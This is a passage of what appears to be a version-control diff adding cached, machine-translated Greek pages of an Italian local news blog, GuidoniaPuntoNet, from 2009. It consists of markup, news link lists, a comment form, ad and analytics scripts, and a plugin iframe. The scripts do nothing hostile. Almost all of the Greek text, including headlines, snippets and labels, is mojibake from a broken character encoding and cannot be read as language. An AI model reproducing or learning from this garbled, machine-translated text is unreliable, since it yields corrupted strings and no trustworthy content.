src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6286&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6286&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6286&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6286&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6286&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6286&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6286&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6286&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6286&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="ÎÎ³Î³ÏÎ±ÏÎµÎ¯ÏÎµ ÏÎµ Î±Ï
+ÏÏ ÏÎ¿ ÏÎµÏÎ¹ÎµÏÏÎŒÎµÎœÎ¿"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6286&lang=el" >Fast Blog ÎÎ­Î±</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): Î²Î¹Î±ÏÎŒÎ¿ÏÏ, ÏÎ· ÎŒÎ­ÏÏÎ·ÏÎ· Î® ÏÎ¿Îœ &quot;Î³ÎµÎŒÎ¯Î¶ÎµÎ¹</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - Î ÏÎ¹ÎŽÎ·ÏÎ¿ÎŽÏÎ¿ÎŒÎ¹ÎºÎ® Î³ÏÎ±ÎŒÎŒÎ® ÏÎ¿Ï
+ &quot;outcastes&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: Î ÏÏÎ»Î·ÏÎ· ÎºÎ±Î¹ ÏÎ·Îœ ÎÏÏÎ¬Î»ÎµÎ¹Î± ÏÏÎ·Îœ ÎÏÎ³Î±ÏÎ¯Î±</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Î Î³Ï
+ÎœÎ±Î¯ÎºÎ± ÏÎºÎ¿ÏÏÎžÎ·ÎºÎµ Î±ÏÏ ÎºÎµÏÎ±Ï
+ÎœÏ ÏÏÎ¿ ÎÎ¬ÏÏÎ¹Î¿</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, ÏÏÎ¯ÏÎ¹Î± ÏÏÏÎ¯Ï ÏÏÎ¹ÎŒÎ­ÎœÏÎ¿. ÎÏÎ¯ÏÏÎµ Î· Î±ÏÏÎŽÎµÎ¹ÎŸÎ·. &quot; Î Î·ÎŒÎµÏÎ¿ÎŒÎ·ÎœÎ¯Î± Î±ÏÎ¿ÏÏÎ¿Î»Î®Ï ÏÎ·Ï, Enzo Cappucci, ÎµÎ¯ÏÎµ ÎžÎ·Î»Î­Ï Î¶ÏÎ¿Ï
+ Î±ÎœÎ¬ÎŒÎµÏÎ± ÏÏÎ± ÏÎ±Î»Î¬ÏÎŒÎ±ÏÎ± ÏÏÎ·Îœ ÏÎµÏÎ¹ÏÎ­ÏÎµÎ¹Î± Abruzzo ÎºÎ±Î¹ Î­ÏÎµÎ¹ Î±ÏÎ¿ÎŽÎµÎ¯ÎŸÎµÎ¹Ï Î³Î¹Î± ÎµÎ»Î±ÏÏÏÏÎ·ÏÎ±, Î­Î»Î»ÎµÎ¹ÏÎ· ÎµÎ»Î­Î³ÏÏÎœ, ÎŒÎµ ÏÎ·Îœ ÎµÎ³ÎºÎ»Î·ÎŒÎ±ÏÎ¹ÎºÎ® Î±ÎŒÎ­Î»ÎµÎ¹Î± ÏÎ¿Ï
+ ÏÎ¿Î»Î»Î¬ ÏÏÎ¯ÏÎ¹Î± ÏÏÎ¯ÏÏÎ·ÎºÎ±Îœ. Î ... Tags: Enzo ÎºÎµÏÎ±Î»Î±Î¹Î¿ÏÎ¿Î¯Î·ÏÎ·Ï Abruzzo RaiNews24 RAI roma Î­ÎœÎ± [...]"">Rai Î³Î¹Î± ÏÏÎ¹ÎŒÎ­ÎœÏÎ¿</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;ÏÏÎ¿ onda&#39;&#39;L&#39;Aquila, ÏÏÎ¯ÏÎ¹Î± ÏÏÏÎ¯Ï ÏÏÎ¹ÎŒÎ­ÎœÏÎ¿. ÎÎŽÏ ÎµÎ¯ÎœÎ±Î¹ ÏÎ± Î±ÏÎ¿ÎŽÎµÎ¹ÎºÏÎ¹ÎºÎ¬ ÏÏÎ¿Î¹ÏÎµÎ¯Î±&#39;&#39;. Î Î±ÏÎ¿ÏÏÎ­Î»Î»Î¿ÎœÏÎ±Î¹ Î±ÏÏ Rainews24, Enzo Cappucci, ÎµÎ¯ÏÎµ ÎžÎ·Î»Î­Ï Î¶ÏÎ¿Ï
+ Î±ÎœÎ¬ÎŒÎµÏÎ± ÏÏÎ± ÏÎ±Î»Î¬ÏÎŒÎ±ÏÎ± ÏÏÎ·Îœ ÏÎµÏÎ¹ÏÎ­ÏÎµÎ¹Î± Abruzzo ÎºÎ±Î¹ Î­ÏÎµÎ¹ Î±ÏÎ¿ÎŽÎµÎ¯ÎŸÎµÎ¹Ï Î³Î¹Î± ÎµÎ»Î±ÏÏÏÏÎ·ÏÎ±, Î­Î»Î»ÎµÎ¹ÏÎ· ÎµÎ»Î­Î³ÏÏÎœ, ÎŒÎµ ÏÎ·Îœ ÎµÎ³ÎºÎ»Î·ÎŒÎ±ÏÎ¹ÎºÎ® Î±ÎŒÎ­Î»ÎµÎ¹Î± ÏÎ¿Ï
+ ÏÎ¿Î»Î»Î¬ ÏÏÎ¯ÏÎ¹Î± Î®ÏÎ±Îœ ... ÎÏÎ¹ÎºÎ­ÏÎµÏ: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, ÏÏÎ¯ÏÎ¹Î± ÏÏÏÎ¯Ï ÏÏÎ¹ÎŒÎ­ÎœÏÎ¿&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">ÎÎœÎ¿ÏÎ»ÎµÏ ÎŒÎµ Î±ÎœÏÎ¯ÎºÎµÏ ÏÎ¹ÏÏÏÎ»Î¹ Î»Î·ÏÏÎµÎ¯Î±Ï ÏÎµ ÎŸÎµÎœÎ¿ÎŽÎ¿ÏÎµÎ¯Î¿</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">ÎÎ­ÏÏÎ¹ ÏÎ¿Îœ ÎÎ¿ÏÎ»Î¹Î¿ ÏÎ¿Ï
+ 23 ÏÏ
+ÎœÎŽÏÎ¿ÎŒÎ­Ï ÏÎµ ÏÎµÏÎ¹ÏÎµÏÎµÎ¹Î±ÎºÏ C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Î ÎŽÎ¹Î±ÏÎµÎ¯ÏÎ¹ÏÎ· ÏÎ¿Ï
+ ÎŒÎµÏÎµÎ³ÏÎµÎ¹ÏÎ·ÏÎ¹ÎºÎ¿Ï ÏÏÎœÎ¿Ï
+ ÎºÎµÏÎŽÎ¯Î¶ÎµÎ¹ &quot;ÎºÎ±Î¹ ÏÎ¿ rock &#39;ÏÎµÎœÏÏÏÏÎµ&#39; Îµ. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">ÎÏ
+ÎœÎ±Î¯ÎºÎµÏ ÎºÎ±Î¹ ÏÎ· ÎÎ·ÎŒÎ¿ÎºÏÎ±ÏÎ¯Î±.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Î ÏÏÎ²Î¿Ï, Î²ÏÎ¯ÏÎºÎµÏÎ±Î¹ ÎºÎ±Î¹ ÏÎ¿ &quot;ÎŒÏÎžÎ¿&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">ÎÏ
+ÎœÎ±Î¯ÎºÎµÏ ÎºÎ±Î¹ ÏÎ· ÎÎ·ÎŒÎ¿ÎºÏÎ±ÏÎ¯Î±.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Î ÏÏÎ²Î¿Ï, Î²ÏÎ¯ÏÎºÎµÏÎ±Î¹ ÎºÎ±Î¹ ÏÎ¿ &quot;ÎŒÏÎžÎ¿&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">ÎÎµÏÎ±ÏÏÎ· ÏÏÎµÎŒÎ¹Î­ÏÎµÏ ÏÎ·Îœ Î Î­ÎŒÏÏÎ·, ÎÎ¿ÏÎœÎ¹Î¿Ï 25 ÎµÎ¯ÎœÎ±Î¹ Î¿ ÎºÎ¹ÎœÎ·ÎŒÎ±ÏÎ¿Î³ÏÎ¬ÏÎ¿Ï</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html">Salernitana: Diesse Acri, Fabiani Digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">ÎÎºÎ»Î¿Î³Î­Ï, ÎºÎ±Î¹ Guidonia Î Î·Î³Î® ÎÎ­Î¿ ÎºÎ­ÎœÏÏÎ¿ Î³Î¹Î± ÎœÎ±</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=el" >GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·).</a> ÎÎµÏÎŒÏÏ: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">ÎÎºÎ»Î¿Î³Î­Ï Online</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistics" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistics"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 1.545 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 09:34:48 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/el/_wp__p=6287&lang=el
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/el/_wp__p=6287&lang=el	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/el/_wp__p=6287&lang=el	(revision 44)
@@ -0,0 +1,126 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6287 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> ÎÏÎ¯ÏÎ¹Î¿ Blitz ÏÏÎ± ÎµÏÎ³Î¿ÏÎ¬ÎŸÎ¹Î±: 32 Î¬ÎœÎžÏÏÏÎ¿Î¹ ÏÏ
+ÎœÎµÎ»Î®ÏÎžÎ·ÏÎ±Îœ - ÎÎ±ÎžÎ·ÎŒÎµÏÎ¹ÎœÎ® - GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6287&rurl=translate.google.com&lang=it&usg=ALkJrhjB-Jzoxw_ngpJvnCog94kQEhlhiw" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="ÏÏÎ¿ÎµÏÎ¹Î»Î¿Î³Î®" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="ÏÎ¿Î¶" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="ÏÏÎ¬ÏÎ¹ÎœÎ¿" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="ÎŒÏÎ²" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="ÎºÏÎºÎºÎ¹ÎœÎ¿" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="ÎŒÏÎ»Îµ" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·) Â«Î Î¿Î¹ÎºÎ¿ÎŽÏÎŒÎ·ÏÎ· ÏÎ¿Ï
+ Blitz ÏÏÎ± ÎµÏÎ³Î¿ÏÎ¬ÎŸÎ¹Î±: 32 Î¬ÎœÎžÏÏÏÎ¿Î¹ ÏÏ
+ÎœÎµÎ»Î®ÏÎžÎ·ÏÎ±Îœ - ÎÎ±ÎžÎ·ÎŒÎµÏÎ¹ÎœÎ® Feed ÏÏÏÎ»Î¹Î±" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia ÏÏÎ¿ WEBTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="ÎÎÎÎÎÎ£Î ROTARY GIORNALISTICA / ÏÏÎ· ÎŒÎœÎ®ÎŒÎ· ÏÎ¿Ï
+ Grazio AMMATURO ... - UnoNotizie.it" href=http://www.guidonia.net/wp/?p=6291 /><link rel=next title="GDF, ÎŒÎµÎ³Î¬Î»Î· ÎºÎ±ÏÎ¬ÏÏÎµÏÎ· ÏÏÎœ ÏÎ±ÏÎ±ÏÎ¿Î¹Î·ÎŒÎ­ÎœÏÎœ ÏÏÎ¿ÏÏÎœÏÏÎœ Î³Î¹Î± 20 ÎµÎºÎ±Ï. ÎµÏ
+ÏÏ - Il Sole 24 Ore" href=http://www.guidonia.net/wp/?p=6288 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=el" >GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=el" >Î£ÏÎ¯ÏÎ¹</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=el" >Î£ÏÎµÏÎ¹ÎºÎ¬</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=el" >ÎÏÎ±ÏÎ­Ï</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="Î±ÎœÎ±Î¶Î®ÏÎ·ÏÎ·" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6287><h2> <span  > <a href="http://www.guidonia.net/wp?p=6287&lang=el" >ÎÏÎ¯ÏÎ¹Î¿ Blitz ÏÏÎ± ÎµÏÎ³Î¿ÏÎ¬ÎŸÎ¹Î±: 32 Î¬ÎœÎžÏÏÏÎ¿Î¹ ÏÏ
+ÎœÎµÎ»Î®ÏÎžÎ·ÏÎ±Îœ - il Giornale</a></span> </h2><p class=meta-header> <span  > Î Î¿Ï
+ ÎµÎ»Î®ÏÎžÎ· ÏÏÎ¹Ï 02 ÎÎ¿ÏÎ»Î¹Î¿Ï, 2009 ÏÎµ <a href="http://www.guidonia.net/wp?cat=1&lang=el" >Guidonia ÎÎ­Î±</a> Î±ÏÏ ÏÎ¿ admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363305&usg=AFQjCNHMUvikvEMwctbLfYSqoZXqgNJ0GQ">ÎÏÎ¯ÏÎ¹Î¿ Blitz ÏÏÎ± ÎµÏÎ³Î¿ÏÎ¬ÎŸÎ¹Î±: 32 Î¬ÏÎ¿ÎŒÎ± ÏÎ¿Ï
+ ÏÏ
+ÎœÎµÎ»Î®ÏÎžÎ·ÏÎ±Îœ</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>il Giornale</b></font></font></span> <br /> <span  > <font size=-1>ÎÎ¹ Î­Î»ÎµÎ³ÏÎ¿Î¹ ÎµÏÎ¹ÎºÎµÎœÏÏÏÎœÎ¿ÎœÏÎ±Î¹ ÏÎµ ÏÎµÏÎ¹Î¿ÏÎ­Ï Î±ÎœÎ±ÏÎ¿Î»Î¹ÎºÎ¬ ÏÎ·Ï Î¡ÏÎŒÎ·Ï, Î· ÎºÎ¿Î¹ÎœÎ® Colleferro, <b>Guidonia Montecelio,</b> Arsoli, Capena ÎºÎ±Î¹ Î·Î»Î¹ÎºÎ¹ÏÎŒÎ­ÎœÏÎœ. <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d6kg50PNcAxMjVM"><font class=p size=-1><b>ÏÎµÏÎ¹ÏÏÏÏÎµÏÎ± Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > ÎÏÎ®ÏÏÎµ ÎŒÎ¹Î± Î±ÏÎ¬ÎœÏÎ·ÏÎ·</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6287#respond style=display:none;&lang=el" ><small>ÎÎ¬ÎœÏÎµ ÎºÎ»Î¹Îº Î³Î¹Î± ÎœÎ± Î±ÎºÏ
+ÏÏÏÎµÏÎµ ÏÎ·Îœ Î±ÏÎ¬ÎœÏÎ·ÏÎ·.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>ÎÎœÎ¿ÎŒÎ± (Î±ÏÎ±Î¹ÏÎµÎ¯ÏÎ±Î¹)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Î€Î±ÏÏ
+ÎŽÏÎ¿ÎŒÎµÎ¯Î¿ (ÎŽÎµÎœ ÎžÎ± ÎŽÎ·ÎŒÎ¿ÏÎ¹ÎµÏ
+ÎžÎµÎ¯) (Î±ÏÎ±Î¹ÏÎ·ÎŒÎ­ÎœÎ¿Ï)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Website</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Î£ÏÏÎ»Î¹Î±</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="ÎÏÎ¿ÏÏÎ¿Î»Î® Î£ÏÎ¿Î»Î¯Î¿Ï
+" class=box /><input type=hidden name=comment_post_ID value=6287 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Î Î»Î·ÏÎ¿ÏÎ¿ÏÎ¯ÎµÏ</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: Î¹ÎŽÎ­ÎµÏ Î³Î¹Î± ÏÎ¿ web</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>ÎÎŽÎ­ÎµÏ ÏÎµ Î±ÎœÎ±Î¶Î®ÏÎ·ÏÎ· ÏÏÎ·ÎŒÎ±ÏÎ¿ÎŽÏÏÎ·ÏÎ·Ï: <a href=mailto:info@guidonia.net>ÎµÏÎ¹ÎºÎ¿Î¹ÎœÏÎœÎ¯Î±</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > ÎÏÎ¿ÏÎµÎ¯ÏÎµ ÎœÎ± ÎŒÎµÎ¯ÎœÎµÏÎµ aÄ¡Ä¡ornata ÎŒÎ­ÏÏ <a href="http://www.guidonia.net/wp?feed=rss2&lang=el" >RSS feed.</a></span> </div><div class=col><div class=box><h3> <span  > ÎÎ¯ÎœÏÎµÎ¿ ÏÏÎµÏÎ¹ÎºÎ¬ ÎŒÎµ Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=el" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia ÎÎ­ÎœÏÏÎ¿" src=http://i.ytimg.com/vi/z32gTXwZyq0/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, ÎŽÎ¹Î±ÏÎ®ÎŒÎ¹ÏÎ·.</span> <span  > Viale Roma ÎºÎ±Î¹ ÏÎ¿ ÏÎ¹ÎŽÎ·ÏÎ¿ÎŽÏÎ¿ÎŒÎ¹ÎºÏ ÏÏÎ±ÎžÎŒÏ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6287# onclick=&lang=el" 